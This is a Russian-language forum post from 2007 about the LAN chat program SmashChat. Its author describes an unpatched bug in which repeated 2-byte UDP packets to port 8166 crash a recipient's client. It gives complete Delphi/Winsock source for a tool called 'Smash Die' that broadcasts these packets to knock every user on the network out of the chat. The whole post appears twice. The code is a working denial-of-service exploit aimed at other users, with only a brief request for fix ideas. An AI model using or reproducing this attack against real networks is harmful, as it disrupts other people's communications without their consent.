fen
19.02.2007, 14:48
В нашей сети все пользуются SmashChat для общения, передачу файлов через сеть и др. функциями.
Скачать можете тут этот чат:
_http://xfen.narod.ru/smashchat/SmashChat1.0.3.845.rar
И вот недавно стали часто местные "любители хака" кикать с чата, банить людей... Я зажегся идеей тоже найти баги и попробывать написать программку Smash Die (название соответсвует назначению проги :D )
Передача данных в чате осуществляется через 8166 UDP порт.
Оказуется что, если отправить получателю 2 байта, то вылетает ошибка (этот баг еще в настоящий момент не исправлен автором). Но 1 ошибка тока заграмаждает ОЗУ, но если отправить 250 раз, то получатель, он же жертва, проста-напроста вылетает из чата.Скомпилированную прогу не стал выкладывать,так как кто знает и кому нада, тот поймет, исходный код (с использованием winsock) на Delphi вот:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,winsock;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
port=8166;
var
Form1: TForm1;
Init: TWSAData;
SockOpt: BOOL;
Sock: TSocket;
hd: TSockAddrIn;
Data:string;
Databytes:byte;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
begin
for i:=1 to 235 do
begin
Databytes:=2;
WSAStartup($101,Init);
Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
SockOpt:=TRUE;
SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST,Pchar(@Soc kOpt),SizeOf(SockOpt));
hd.sin_port:=htons(port);
hd.sin_addr.S_addr:=INADDR_BROADCAST;
hd.sa_family:=AF_INET;
SendTo(Sock,Data,DataBytes,0,hd,SizeOf(hd));
WSACleanup;
end;
end;
end.
И тут же: у кого есть какие предложения, мысли для написания проги - ликвидации этого бага...
Скачать можете тут этот чат:
_http://xfen.narod.ru/smashchat/SmashChat1.0.3.845.rar
И вот недавно стали часто местные "любители хака" кикать с чата, банить людей... Я зажегся идеей тоже найти баги и попробывать написать программку Smash Die (название соответсвует назначению проги :D )
Передача данных в чате осуществляется через 8166 UDP порт.
Оказуется что, если отправить получателю 2 байта, то вылетает ошибка (этот баг еще в настоящий момент не исправлен автором). Но 1 ошибка тока заграмаждает ОЗУ, но если отправить 250 раз, то получатель, он же жертва, проста-напроста вылетает из чата.Скомпилированную прогу не стал выкладывать,так как кто знает и кому нада, тот поймет, исходный код (с использованием winsock) на Delphi вот:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,winsock;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
port=8166;
var
Form1: TForm1;
Init: TWSAData;
SockOpt: BOOL;
Sock: TSocket;
hd: TSockAddrIn;
Data:string;
Databytes:byte;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
begin
for i:=1 to 235 do
begin
Databytes:=2;
WSAStartup($101,Init);
Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
SockOpt:=TRUE;
SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST,Pchar(@Soc kOpt),SizeOf(SockOpt));
hd.sin_port:=htons(port);
hd.sin_addr.S_addr:=INADDR_BROADCAST;
hd.sa_family:=AF_INET;
SendTo(Sock,Data,DataBytes,0,hd,SizeOf(hd));
WSACleanup;
end;
end;
end.
И тут же: у кого есть какие предложения, мысли для написания проги - ликвидации этого бага...